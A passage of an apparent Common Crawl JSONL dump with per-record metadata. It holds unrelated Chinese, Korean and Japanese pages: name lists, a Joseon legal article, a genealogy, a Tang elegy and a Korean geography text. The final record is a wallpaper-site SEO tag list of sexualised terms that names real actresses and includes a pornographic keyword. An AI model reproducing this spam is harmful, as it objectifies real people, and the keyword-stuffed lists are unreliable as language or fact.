周珉票 周珉庆 周珉巳 周珉午 周珈昌 周珈七 周珈堇 周珈旌 周珩博 周珩雍 周玺童 周玺鬲 周玺荻 周琪备 周琪绩 周琪潜 周琪遇 周琦古 周琦含 周琦贺 周琦诵 周琦至 周琛铭 周韪博 周韪艇 周韪贤 周铄玮 周铉敞 周铉午 周铉鬲 周铉茼 周胥宁 周胥潍 周胥粤 周笙陵 周笙培 周笙逸 周笙茼 周筝桂 周筝年 周筝惟 周筝野 周箫博 周箫扬 周箫淅 周艮概 周艮仲 周艮骞 周霈波 周霈锋 周霈果 周霈勰 周霈荛 周隽福 周隽良 周隽圳 周工行 周工择 周工泓 周宫城 周宫飞 周宫经 周宫行 周贡禹 周贡正 周贡琮 周古城 周古宫 周古涧 周古童 周古益 周古玉 周古勐 周固帮 周固铨 周固原 周固子 周管棉 周管仕 周管巳 周管也 周管庸 周馆前 周馆源 周桂肃 周桂域 周果苗 周果瑶 周果祖 周过涣 周过农 周过仪 周过字 周涵赫 周涵垦 周寒立 周寒邻 周寒券 周寒向 周寒庸 周翰岭 周翰能 周翰权 周翰项 周翰兹 周夯户","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/www.gnhwg.com\/nanhainvhai\/78856.html","date":"2021-04-21T11:50:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618039536858.83\/warc\/CC-MAIN-20210421100029-20210421130029-00144.warc.gz","language":"lzh","language_score":0.7364155054,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.7364155054092407, \"nan_Hani_score\": 0.14022505283355713, \"cmn_Hani_score\": 0.10826559364795685, \"wuu_Hani_score\": 0.013159037567675114}","num_words":2055,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.245,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.794,"perplexity_score":500.0,"cluster_detection":1} +{"text":"柿原彻也 福井裕佳梨 井上麻里奈 伊藤静 小西克幸 桧山修之 谷山纪章 斋贺光希 小野坂昌也 中村大树 佐藤利奈 植田佳奈 阿澄佳奈 本田贵子 川上贵史 近藤隆 桐井大介 水岛大宙 神永梨绪 四宫豪 堂坂晃三 七绪春日 石上裕一 干萌 逢坂力 樱井日菜 大原崇 竹内知子 金光宣明 原岛梢 金野润 吉田惠 相马幸人 疋田高志 宫坂俊藏 大林隆介 日野未步 菅生隆之 池田成志 上川隆也\n间岛里美 安藤亚里沙 本多知惠子 古谷彻 渡部猛 藤本让 井上瑶 柴田秀胜 塚濑纪子 盐泽兼人 龙田直树 佐藤正治 木原正二郎 二又一成 森功至 广濑正志 泽木郁也 铃置洋孝 川岛千代子 高木早苗 铃木富子 顿宫恭子 三矢雄二 玉川纱己子 池田胜 若本规夫 户谷公次 盐屋浩三 及川瞳 岛田敏 田中和实 神谷明 田中康郎 野岛昭生 田中秀幸 鹤广美 山田俊司 屋良有作 田中亮一 曾我部和行 辻村真人 加藤正之 中野圣子 筈见纯 小山茉美 片冈富枝 大林隆介 山田荣子 丸山咏二 吉田理保子 麦人 大泷进矢 泷\n小野坂昌也 青木沙耶香 吉野裕行 宫本充 小林沙苗 藤原启治 阪口大助 小林优 森田成一 广桥凉 千叶进步 太田哲治 有本钦隆 菅生隆之 中田和宏 伊藤美纪 后藤沙绪里 神田朱未 子安武人 三宅健太 山口胜平 大林隆介 若本规夫 井上麻里奈 羽多野涉 伊丸冈笃 永泽菜教 平野俊隆 古泽彻 楠大典 斋藤千和 伊藤静 神奈延年 大畑伸太郎 高垣彩阳 斧敦 长克巳 塚田正昭 速水奖 河本邦弘 浪川大辅 成田剑 小伏伸之 西村知道 杉田智和\n本站只提供WEB页面服务,本站不存储、不制作任何视频,不承担任何由于内容的合法性及健康性所引起的争议和法律责任。\n若本站收录内容侵犯了您的权益,请附说明联系邮箱,本站将第一时间处理。\n百度地图·搜狗地图·RSS订阅\nwww.dlsj2133.cn 联系邮箱:email@example.com","id":"","dump":"CC-MAIN-2021-17","url":"http:\/\/www.dlsj2133.cn\/vodsearch\/-%E5%A4%A7%E6%9E%97%E9%9A%86%E4%BB%8B------------.html","date":"2021-04-17T04:56:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038101485.44\/warc\/CC-MAIN-20210417041730-20210417071730-00517.warc.gz","language":"lzh","language_score":0.4107470512,"language_script":"Hani","minhash_cluster_size":29,"top_langs":"{\"lzh_Hani_score\": 0.41074705123901367, \"cmn_Hani_score\": 0.31756827235221863, \"jpn_Jpan_score\": 0.1639874279499054, \"nan_Hani_score\": 0.06340377777814865, \"wuu_Hani_score\": 0.027965540066361427, \"yue_Hani_score\": 0.016287920996546745}","num_words":143,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.21,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.462,"perplexity_score":500.0,"cluster_detection":1} +{"text":"第326條 保辜限期\n1. 凡保辜者 責令犯人醫治 辜限內 皆須因傷死者 以鬪毆殺人論①\n2. 其在辜限外 及雖在辜限內 傷已平復 官司文案明白 別因他故死者 各從本毆傷法②㉮ 若折傷以上 辜內醫治平復者 各減二等③ 辜內雖平復 而成殘廢篤疾 及辜限滿日 不平復者 各依律全科. 手足及他物 毆傷人者 限二十日. 以刃及湯火傷人者 限三十日. 折跌肢體及破骨墮胎者 無問手足他物 皆限五十日.\n① 謂毆及傷 各依限保辜 然傷人皆須因毆乃是 若打人頭傷 風從頭瘡而入 因風致死之類 以鬪毆殺人科罪\n② 謂打人頭傷 不因頭瘡得風 別因他病而死者 是爲'他故' 各依本毆傷科罪\n③ 墮胎子死者 不減.\n㉮ 講曰: '其在辜限外' 謂毆傷人 保辜限期已滿 限外身死者 各從本毆傷法. 又'本條毆傷法'者 如原毆內損 坐以內損罪 原毆折傷 坐以折傷罪之類 故謂之各從本毆傷法.","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/db.history.go.kr\/law\/item\/level.do?levelId=jlawb_160_0200_0010_0020","date":"2021-05-12T18:36:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989766.27\/warc\/CC-MAIN-20210512162538-20210512192538-00030.warc.gz","language":"lzh","language_score":0.5058070421,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5058070421218872, \"cmn_Hani_score\": 0.40574154257774353, \"nan_Hani_score\": 0.06596110016107559, \"jpn_Jpan_score\": 0.012371554039418697}","num_words":59,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.532,"perplexity_score":500.0,"cluster_detection":1} +{"text":"여주의 순흥 안씨(順興 安氏)는 금사면 상호리와 강천면 및 대신면 등에 분포하였는데 거주지는 주로 금사면 상호리였다. 계보는 계통을 달리하는 두 파가 있다.\n順興 安氏 系譜 思勤 德和 宗立 善義 孝雲 點讚 大讚 益讚 萬讚 應喆 應海 應昌 應卿 應俊(室 原州 元應連女) 應陪(室 寧越 辛世起女) 樂聖 景聖 彦聖 世寶 (墓 원주 江川 防新垈) 從明 應禎 樂天 樂生 樂道 始雄 二雄 信雄 義雄 禮雄 尙雄 殷雄 尙俠 義俠 英俠 壽益 壽昌 壽萬 壽齊 萬秀 善載 善益 善命 成萬 世昌 世漢 世憲 世光 聖復 聖伯 宗伯 宗得 仁孫","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.yeoju.go.kr\/history\/jsp\/Theme\/Theme.jsp?BC_ID=b0054","date":"2021-06-19T22:10:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487649731.59\/warc\/CC-MAIN-20210619203250-20210619233250-00302.warc.gz","language":"lzh","language_score":0.9836546183,"language_script":"Hani","minhash_cluster_size":8,"top_langs":"{\"lzh_Hani_score\": 0.9836546182632446}","num_words":84,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.323,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.984,"perplexity_score":500.0,"cluster_detection":1} +{"text":"江西福连升老北京布鞋、休闲鞋品牌加盟店信息和江西鞋店加盟方法介绍。\n浙江 湖州 河南 信阳 四川 攀枝花 南阳 拉萨 西藏 江苏 泰州 洛阳 芜湖 安徽 陕西 宝鸡 订货会 山东 临沂 聊城 安康 旬阳 巴中 河北 唐山 杭州 江西 新余 延安 湖南","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.fuliansheng.com\/tags.php?\/144\/","date":"2021-09-18T15:12:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056476.66\/warc\/CC-MAIN-20210918123546-20210918153546-00628.warc.gz","language":"lzh","language_score":0.5124049187,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.5124049186706543, \"cmn_Hani_score\": 0.441821426153183, \"wuu_Hani_score\": 0.03566184267401695}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.256,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.512,"perplexity_score":500.0,"cluster_detection":1} +{"text":"吊屈原文\n後先生蓋千祀兮,餘再逐而浮湘。求先生之汨羅兮,攬蘅若以薦芳。願荒忽之顧懷兮,冀陳辭而有光。\n先生之不從世兮,惟道是就。支離搶攘兮,遭世孔疚。華蟲薦壤兮,進禦羔袖。牝雞咿嚘兮,孤雄束咮。哇咬環觀兮,蒙耳大呂。堇喙以為羞兮,焚棄稷黍。岸獄之不知避兮,宮庭之不處。陷塗藉穢兮,榮若繡黼。榱折火烈兮,娛娛笑舞。讒巧之嘵嘵兮,惑以為鹹池。便媚鞠恧兮,美逾西施。謂謨言之怪誕兮,反寘瑱而遠違。匿重痼以諱避兮,進俞緩之不可為。\n何先生之凜凜兮,厲針石而從之。但仲尼之去魯兮,曰吾行之遲遲。柳下惠之直道兮,又焉往而可施。今夫世之議夫子兮,曰胡隱忍而懷斯。惟達人之卓軌兮,固僻陋之所疑。委故都以從利兮,吾知先生之不忍。立而視其覆墜兮,又非先生之所誌。窮與達固不渝兮,夫惟服道以守義。矧先生之悃愊兮,蹈大故而不貳。沈璜瘞佩兮,孰幽而不光。荃蕙蔽匿兮,胡久而不芳。\n先生之貌不可得兮,猶仿佛其文章。托遺編而歎喟兮,渙餘涕之盈眶。嗬星辰而驅詭怪兮,夫孰救於崩亡。何揮霍夫雷電兮,苟為是之荒茫。耀誇辭之黨朗兮,世果以是之為狂。哀餘衷之坎坎兮,獨蘊憤而增傷。諒先生之不言兮,後之人又何望。忠誠之既內激兮,抑銜忍而不長。芊為屈之幾何兮,胡獨焚其中腸。\n吾哀今之為仕兮,庸有慮時之否臧。食君之祿畏不厚兮,悼爾位之不昌。退自服以默默兮,曰吾言之不行。既俞風之不可去兮,懷先生之可忘。\n|本唐朝作品在全世界都属于公有领域,因为作者逝世已经遠遠超过100年。|","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/zh.m.wikisource.org\/wiki\/%E5%90%8A%E5%B1%88%E5%8E%9F%E6%96%87","date":"2021-09-26T16:59:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057882.56\/warc\/CC-MAIN-20210926144658-20210926174658-00548.warc.gz","language":"lzh","language_score":0.8325229287,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.8325229287147522, \"nan_Hani_score\": 0.08917933702468872, \"cmn_Hani_score\": 0.02886643074452877, \"yue_Hani_score\": 0.013992448337376118}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.425,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字僅為在你起名時提供參考,請勿在未做分析的前提下直接使用。\n茅家酈 茅屹陽 茅新云 茅鶴群 茅銘洋 茅心知 茅含書 茅晴晨 茅櫻耀 茅惠杰 茅敬淇 茅為翔 茅若先 茅展銘 茅子恒 茅林洪 茅憶挺 茅皓然 茅祺閏 茅雅鴻 茅桂瑞 茅致豪 茅文捷 茅帥帥 茅澤榆 茅澤渝 茅澤瑜 茅獎大 茅凱獎 茅凱閏 茅俊彥 茅煬曦 茅揚曦 茅楊曦 茅雯曦 茅曦雯 茅伊蓮 茅一人 茅梓雯 茅滋雯 茅樺雯 茅樺 茅梓伊 茅伊果 茅雯雯 茅慶慶 茅若渲 茅洪明 茅雅雯 茅思月 茅欽洋 茅晨羚 茅宇海 茅雅覺 茅雅竹 茅詩意 茅雅宜 茅戴琪 茅戴靜 茅雅靜 茅玉晨 茅玨晨 茅一帆 茅心翎 茅心羚 茅心聆 茅心藺 茅心麟 茅心霖 茅心靈 茅心齡 茅心成 茅心武 茅詩琪 茅籬居 茅戴涵 茅戴雅 茅戴瑚 茅戴平 茅心宜 茅戴欣 茅戴宜 茅欣宜 茅戴嘉 茅戴菀 茅戴瑗 茅戴溪 茅戴菊 茅戴愿 茅戴箏 茅雅鄶 茅戴月 茅戴想 茅戴湘 茅丞 茅宣菲 茅菲渲 茅渲梵 茅渲椿 茅渲菲 茅文昊 茅萌凱 茅單 茅澤軍 茅海娣 茅成銀 茅庭銓 茅釜甑 茅城銘 茅家暢 茅宣鋅 茅依蕾 茅為蕙 茅日鏢 茅子瑞 茅文兵 茅星煜 茅木萌 茅一男 茅裕峰 茅淋伊 茅伊淋 茅奕萱 茅及荇 茅響 茅盼 茅賾灝 茅則灝 茅永坤 茅澤好 茅澤皓 茅澤浩 茅澤昊 茅澤豪 茅朝 茅朝輝 茅鸝鸞 茅孝明 茅航 茅航航 茅建生 茅長慶 茅定倜 茅冠瑜 茅振瑜 茅朕瑜 茅宸尉 茅宸煜 茅宸崳 茅宸俞 茅政宇 茅宸瑜 茅宸宇 茅晟宇 茅博瑜 茅震瑜 茅冠崳 茅宏博 茅瑾 茅澤萱 茅開榮 茅東豐 茅東風 茅少爺 茅清浩 茅建杰 茅思鋮 茅桂良 茅麗佳 茅承覬 茅嘉駿 茅亦林 茅恬瑜 茅正昌 茅成龍 茅超譯 茅青鋒 茅磊閩 茅抑枚 茅惠珍 茅毅 茅櫻靜 茅淋淋 茅雪青 茅宇海 茅渝軒 茅偉慧 茅葵葵 茅凡翔 茅彬 茅秦源 茅文蓓 茅倬蕤 茅政霖 茅東凱 茅昕睿 茅昕鵬 茅俊輝 茅皓鈞 茅勝基 茅渲楓 茅渲采 茅渲林 茅渲翌 茅渲賢 茅晟渲 茅宣睿 茅渲睿 茅戴公 茅渲謹 茅渲銘 茅渲舟 茅渲丫 茅渲雯 茅渲昕 茅渲歆 茅夢昕 茅萌昕 茅潔昕 茅宇春 茅于春 茅箐渲 茅樂湫 茅樂淵 茅渲樂 茅樂渲 茅榆沛 茅湘緣 茅美湘 茅美香 茅青海 茅一芮 茅拯剛 茅坑 茅溯 茅萱 茅雯萱 茅楊雯 茅倚萱 茅心瀾 茅建標 茅斗金 茅斗斗 茅豆逗 茅逗逗 茅兜兜 茅梟梟 茅家理 茅蕭蕭 茅金柒 茅金七 茅少秋 茅柒金 茅七金 茅江杰 茅江疆 茅華杰 茅政渝 茅渝政 茅政杰 茅文俊 茅文龍 茅維維 茅靈杰 茅藝杰 茅科杰 茅隆杰 茅妙杰 茅冰杰 茅賢杰 茅億杰 茅斌杰 茅慶杰 茅樂杰 茅龍杰 茅新宇 茅秋杰 茅鑫杰 茅再杰 茅柔柔 茅學杰 茅瑞杰 茅端午 茅冰海 茅宇晴 茅安雅 茅青 茅木 茅草 茅偉先 茅瑞先 茅逾先 茅予先 茅予暄 茅云仙 茅云先 茅譽先 茅躍先 茅曰先 茅亦先","id":"","dump":"CC-MAIN-2022-21","url":"http:\/\/www.yizhuanche.cn\/show_A46.aspx","date":"2022-05-19T12:02:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662527626.15\/warc\/CC-MAIN-20220519105247-20220519135247-00397.warc.gz","language":"lzh","language_score":0.5669233799,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5669233798980713, \"cmn_Hani_score\": 0.18042081594467163, \"wuu_Hani_score\": 0.16507208347320557, \"yue_Hani_score\": 0.04368661716580391, \"nan_Hani_score\": 0.015546126291155815, \"jpn_Jpan_score\": 0.012974492274224758}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.559,"perplexity_score":500.0,"cluster_detection":1} +{"text":"地誌\n大韓 維我 太祖高帝셔 距今 五百十八年 前壬申에 天命人心을 膺샤 高麗를 代興시고 都를 漢陽에 定시니라. 西北疆土를 漸益開拓야 鴨綠土門兩江으로 國界를 限며 東南西 大海로 環야 于山(卽 今 鬱島郡)耽羅(卽 今 濟州, 旌義, 大靜三郡) 鯨波 中에 遠朝고 西南沿岸의 大小群島 星羅碁布니 極南(濟州島毛瑟浦은 北緯三十三度 十五分에 起야 極北(咸鏡北道慶源府)은 四十二度二十五分에 止고 極西(黃海道長淵郡長山串) 東經(英國綠威司天臺의 線)百二十四度三十分에 起야 極東(俄國과 接界 豆滿江口)은 百三十度三十五分에 止고 渤海黃海와 日本海에 突出 半島國이라. 開國初에 國號를 朝鮮이라 定야 五百餘年을 遵行더니 維我 太皇帝 陛下 光武元年(距今 十三年 前)에 大韓으로 改稱니라.\n按輿地勝覽에 曰 慶源郡에셔 北으로 九十里되 山上에 石城이 有야 名을 於羅孫站이라고 又 其北三十里에 於乙孫站이 有고 又 其北六十里에 留善站이 有고 又 其東北七十里에 土城古基가 有니 此 巨陽城이라. 此 城內에 圓徑이 四尺되 兩個石柱가 有니 大鐘을 懸얏든 處이라. 慶源人 庾誠이 其 鍾을 碎去고 其 遺鐵이 草中에 尙在니 世人이 傳호 此 城은 高麗尹瓘의 築 라 니라.\n又 曰 義州威化島 土地가 沃腴으로 民多耕墾더니 世祖朝時에 農民이 建州衛野人에계 劫掠을 被 故로 官으로셔 其 耕墾을 禁止니라.\n廢四郡故事에 曰 三國末年에 平壤以北은 野人의<38>遊獵處를 作지라. 高麗時에 南民을 徙居케 고 義州로셔 陽德지 長城을 亘築야 封疆을 堅固케 얏스나 畔亂이 頻作고 義州 土豪 張氏 朝命을 不遵더니 維我\n太祖셔 受命신 後로 聲敎가 遠被야 人民이 安堵고 田野가 日闢며 義州張思吉은 開國功臣에 參列니 義州로셔 閭延지 沿江千里가 版圖에 盡入야 郡邑을 設置고 鴨綠江으로 國界를 限니라.\n通文館志에 曰 肅宗朝時에 慶源越邊二里許와 訓戎(鎭名)越邊三里許에 淸人이 作舍來居거 淸國政府와 交涉야 毁撤逐送니라.\n又 曰 肅宗三十八年 壬辰에 淸國은 烏喇總管 穆克登을 派遣고 我國은 朴瓘李善溥金應瀗金慶門 等을 派遣야 白頭山頂에 上야 國界를 定 分水嶺에 刻石立碑니 碑에 曰 烏喇總管 穆克登 奉旨査邊至此審視西爲鴨綠東爲土門故於分水嶺上勒石爲記라 니라.\n又 曰 義州의 蘭子, 贊子 二島 遼東人이 每與相爭더니 宣祖朝時에 遼東人 孫得春 等이 渠의 官府에 瞞告고 耕種을 冒行거 遼東巡察과 爭辯야 孫得春, 解國松等은 徒五年에 處罰고 立碑定界니라.<39>\n<38-39>","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/db.history.go.kr\/item\/level.do?levelId=ma_002_0120_0170","date":"2022-06-30T19:17:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103877410.46\/warc\/CC-MAIN-20220630183616-20220630213616-00234.warc.gz","language":"lzh","language_score":0.523737669,"language_script":"Hani","minhash_cluster_size":6,"top_langs":"{\"lzh_Hani_score\": 0.5237376689910889, \"cmn_Hani_score\": 0.36817383766174316, \"kor_Hang_score\": 0.06585956364870071, \"jpn_Jpan_score\": 0.03321541100740433}","num_words":240,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.252,"stopwords_ratio":0.042,"flagged_words_ratio":0.0,"lang_id_score":0.528,"perplexity_score":500.0,"cluster_detection":1} +{"text":"四季壁纸专注于(美女图片)图片下载,免费提供最好最优质的(内地)图片下载。其他beautyleg美女 腿模美女 短发美女 长发美女 活力美女 湿身美女 车模美女 蕾丝美女 酥胸美女 美臀美女 魅力美女 白嫩美女 可人美女 日韩美女 短裙美女 校花美女 撩人美女 户外美女 香车美女 魅惑美女 嫩模美女 日系美女 漂亮美女 网袜美女 MM美女 诱人美女 卡通美女 动漫美女 二次元美女 红唇美女 少女美女 旗袍美女 吊带美女 优雅美女 双马尾美女 时尚美女 青春美女 白丝美女 文艺美女 内地美女 街拍美女 肥臀美女 细腰美女 大尺度美女 尤物美女 足球宝贝美女 素颜美女 高颜值美女 丁字裤美女 俏丽美女 清凉美女 风韵美女 日本美女 大胆美女 成熟美女 运动美女 动人美女 透视美女 韩系美女 居家美女 惹火美女 真空美女 柔美美女 美丽美女 高清美女 风情美女 浴室美女 大眼美女 和服美女 世界杯美女 销魂美女 女仆美女 娇美美女 麻花辫美女 半裸美女 卷发美女 安静美女 香肩美女 恬静美女 极品美女 大奶美女 娇嫩美女 连衣裙美女 清爽美女 冷艳美女 妖艳美女 紧身美女 豹纹美女 兔女郎美女 深V美女 温婉美女 温暖美女 熟女美女 纯真美女 马尾美女 复古美女 低胸美女 欧美美女 黑长直美女 个性美女 丸子头美女 娇艳美女 风骚美女 网球美女 纯美美女 随性美女 率性美女 文静美女 精致美女 慵懒美女 温柔美女 小蛮腰美女 森系美女 护士美女 纯净美女 邻家美女 白裙美女 意境美女 少妇美女 氧气美女 高雅美女 抹胸美女 萌妹美女 休闲美女 艳丽美女 活泼美女 泳装美女 怡人美女 美背美女 校服美女 自然美女 小图妹美女 曲线美女 长裙美女 甜蜜美女 惊艳美女 飘逸美女 南小鸟美女 眼镜美女 热裤美女 妖媚美女 丰乳美女 修长美女 纤细美女 草帽美女 淡雅美女 元气美女 衬衫美女 忧郁美女 梦幻美女 光滑美女 泳衣美女 浪漫美女 挑逗美女 沙发美女 校园美女 悠闲美女 露脐美女 刘海美女 婚纱美女 纯情美女 古风美女 睡衣美女 白纱美女 篮球美女 勾人美女 过膝袜美女 美眉美女 沙滩美女 热辣美女 娇俏美女 浴缸美女 完美美女 福利美女 前凸后翘美女 娇媚美女 纹身美女 中分美女 极致美女 包臀美女 足球美女 港台美女 灿烂美女 孤独美女 女优美女 萌美女 知性美女 吸睛美女 旅拍美女 韩国美女 朦胧美女 卖萌美女 帅气美女 牛仔美女 操场美女 萌系美女 娇小美女 呆萌美女 薄纱美女 勾魂美女 一字肩美女 东方Project美女 粉红美女 笑容美女 白领美女 非主流美女 童颜美女 海边美女 耀眼美女 深沟美女 透明美女 骨感美女 春日野穹美女 香艳美女 乳沟美女 床上美女 锁骨美女 包臀裙美女 激情美女 圣诞美女 肚兜美女 碎花美女 婚纱照美女 背心美女 混血美女 红裙美女 条纹美女 嘟嘴美女 花环美女 美国美女 孙允珠美女 傲人美女 丰腴美女 婀娜美女 治愈系美女 姐妹花美女 明媚美女 缘之空美女 寂寥美女 Love美女 古典美女 自拍美女 娇羞美女 圆润美女 酒店美女 花丛美女 纯白美女 背带裤美女 侧颜美女 阴阳师美女 剑网3美女 瓜子脸美女 初音未来美女 苗条美女 泳池美女 绝色美女 白衬衫美女 寂寞美女 嫩白美女 舒适美女 露肩美女 狂野美女 夏日美女 女生美女 萌妹子美女 美图美女 素雅美女 娇躯美女 裸肩美女 VOCALOID美女 棒球帽美女 sugar小甜心CC美女 美模美女 空姐美女 五更琉璃美女 鲜艳美女 健身美女 治愈美女 G奶美女 英雄联盟美女 牛仔裤美女 霸气美女 学生妹美女 清秀美女 白衣美女 迷情美女 天台美女 豪乳美女 棒球美女 清甜美女 出浴美女 开胸美女 金发美女 童颜巨乳美女 端庄美女 台湾美女 街头美女 秀发美女 美眸美女 YOYO美女 Abby美女 乖巧美女 高贵美女 墨镜美女 甜心美女 短裤美女 一周精选美女 袁姗姗美女 人体美女 学生美女 美女美女 4493美女 露沟美女 凌乱美女 sara美女 Sarah美女 镂空美女 曼妙美女 赵小米Kitty美女 死库水美女 裸露美女 孟狐狸美女 女仆装美女 微笑美女 室内美女 无辜美女 东条希美女 纤腰美女 宁静美女 清丽美女 地板美女 女王美女 女孩美女 乳神美女 闺房美女 灵动美女 半球美女 圆脸美女 刘雯美女 三点式美女 窗帘美女 Vicni美女 护士装美女 公主美女 调皮美女 皮裙美女 纤瘦美女 洛天依美女 绿茵美女 王鸥美女 林允美女 细腿美女 Tina美女 森林美女 肉感美女 vanessa美女 lovelive美女 李妍静美女 撩发美女 美人美女 天真美女 美好美女 气球美女 身姿美女 露背美女 捆绑美女 许诺Sabrina美女 格子裙美女 矢泽妮可美女 窗台美女 野外美女 职业装美女 花海美女 露乳美女 自由美女 猫耳美女 温情美女 绚濑绘里美女 柳岩美女 MIKU美女 宅男女神美女 致命美女 水嫩美女 Dora美女 Lynn美女 樱花美女 丛林美女 搞怪美女 洋娃娃美女 妖姬美女 芭蕾舞美女 朝气美女 静谧美女 白净美女 丰臀美女 饱满美女 靠墙美女 大方美女 Stephy美女 精灵美女 英气美女 水手服美女 黑发美女 薄莎美女 轻熟美女 碎花裙美女 兔耳美女 单车美女 西瓜美女 轻熟女美女 Winnie美女 胸器美女 黑丝袜美女 车展美女 秀丽美女 汉服美女 宋佳美女 玩耍美女 连体美女 笑脸美女 艾米莉娅美女 空气刘海美女 妹子美女 淑女美女 学生装美女 典雅美女 毛衣美女 网红美女 嬉戏美女 摄影美女 齐刘海美女 00后美女 灯光美女 showgirl美女 落寞美女 玲珑美女 青涩美女 干净美女 捧花美女 saber美女 可乐Vicky美女 王子文美女 童趣美女 尤美Yumi美女 舰队Collection美女 沈佳熹美女 裸足美女 鲜红美女 自慰影片 美肤美女 翘腿美女 吸晴美女 绝美美女 Xin美女 艺术美女 AngelaBaby美女 轻纱美女 花瓣美女 明艳美女 沈梦瑶美女 周冬雨美女 狐媚美女 立体美女 多姿美女 清晨美女 斜肩美女 美少女美女 丰胸美女 图片美女 唐嫣美女 寂静美女 野餐美女 蓝天美女 俏臀美女 百褶裙美女 粉色美女 Jill美女 透视装美女 皮衣美女 鲜花美女 度假美女 Sammi美女 童话美女 夕阳美女 古力娜扎美女 倪妮美女 王语纯美女 范冰冰美女 运动服美女 香港美女 御姐性感美女 Miso美女 私房照美女 丽人美女 潮范美女 Alice美女 吃货美女 高冷美女 夜晚美女 荒野美女 游乐园美女 虎牙美女 昏暗美女 马尾辫美女 徐cake美女 张俪美女 时崎狂三美女 马思纯美女 幽静美女 刘诗诗美女 麋鹿美女 魔鬼美女 鱼尾裙美女 花园美女 K8傲娇萌萌美女 细直美女 台阶美女 窈窕美女 Avy美女 海滩美女 拳击美女 纱裙美女 向日葵美女 花房美女 西木野真姬美女 裹胸美女 草莓美女 破洞美女 另类美女 Hadid美女 night美女 MIki美女 Lucy美女 波霸美女 韩范美女 孤单美女 干练美女 咖啡馆美女 黄歆苑美女 亮眼美女 单眼皮美女 滑板美女 陈欣美女 刘亦菲美女 杨幂美女 事业线美女 蜜乳美女 高领美女 雪白美女 天使美女 美足美女 秀气美女 红衣美女 田园美女 猫女郎美女 湿发美女 娃娃脸美女 樱桃美女 Kaylar美女 梓萱Crystal美女 叶佳颐美女 张雨绮美女 姚晨美女 红润美女 阚清子美女 园田海未美女 撩衣美女 小巧美女 草坪美女 牛奶美女 晴朗美女 NEKO美女 朴秀然美女 运动装美女 镜子美女 光影美女 楼梯美女 波浪美女 赤脚美女 宝贝美女 小萝莉美女 西装美女 黑裙美女 花季美女 健身房美女 芭蕾美女 Avril美女 钢琴美女 Cheryl青树美女 小泉花阳美女 谭松韵美女 程小烦美女 轻盈美女 齐溪美女 戚薇美女 陈冰美女 挥汗美女 皮裤美女 Syuan美女 花朵美女 玉背美女 花香美女 红艳美女 Dva美女 Miya美女 萌琪琪美女 黑纱美女 椅子美女 卧室美女 篮球宝贝美女 喷血美女 露胸美女 Luvian美女 柔软美女 玉女美女 图书馆美女 礼服美女 凹凸有致美女 仙气美女 草地美女 浴巾美女 姿势美女 兜豆靓Youlina美女 emma美女 情绪美女 下午茶美女 欣杨Kitty美女 猫咪美女 嫩肤美女 贾青美女 奚梦瑶美女 唐艺昕美女 月音瞳美女 楪祈美女 思念美女 英伦风美女 苏糯米美女 日常美女 K美女 细长美女 女人味美女 剑三美女 Jessie美女 Yen美女 杜鹃美女 发箍美女 冷月yuer美女 倚靠美女 王馨瑶美女 卡哇伊美女 豪放美女 床照美女 亮丽美女 闺蜜美女 稚嫩美女 气场美女 酷炫美女 大长腿美女 雪地美女 雨季美女 蝴蝶结美女 民国风美女 婀娜多姿美女 韵味美女 贝雷帽美女 夏美酱美女 Zoey美女 修身美女 欢乐美女 李宓儿美女 秦岚美女 张天爱美女 白百何美女 于姬Una美女 金晨美女 绮梦Cherish美女 裸背美女 草丛美女 黑白配美女 白T美女 赵丽颖美女 睡裙美女 红发美女 蕾姆美女 Jellyfish美女 高叉美女 咬手美女 运动帽美女 遮阳帽美女 粉臀美女 玉腿美女 陈思琪美女 水蛇腰美女 张馨予美女 诗朵雅美女 顽皮美女 李思宁美女 文雅美女 仙子美女 马甲线美女 犀利美女 羞涩美女 浴衣美女 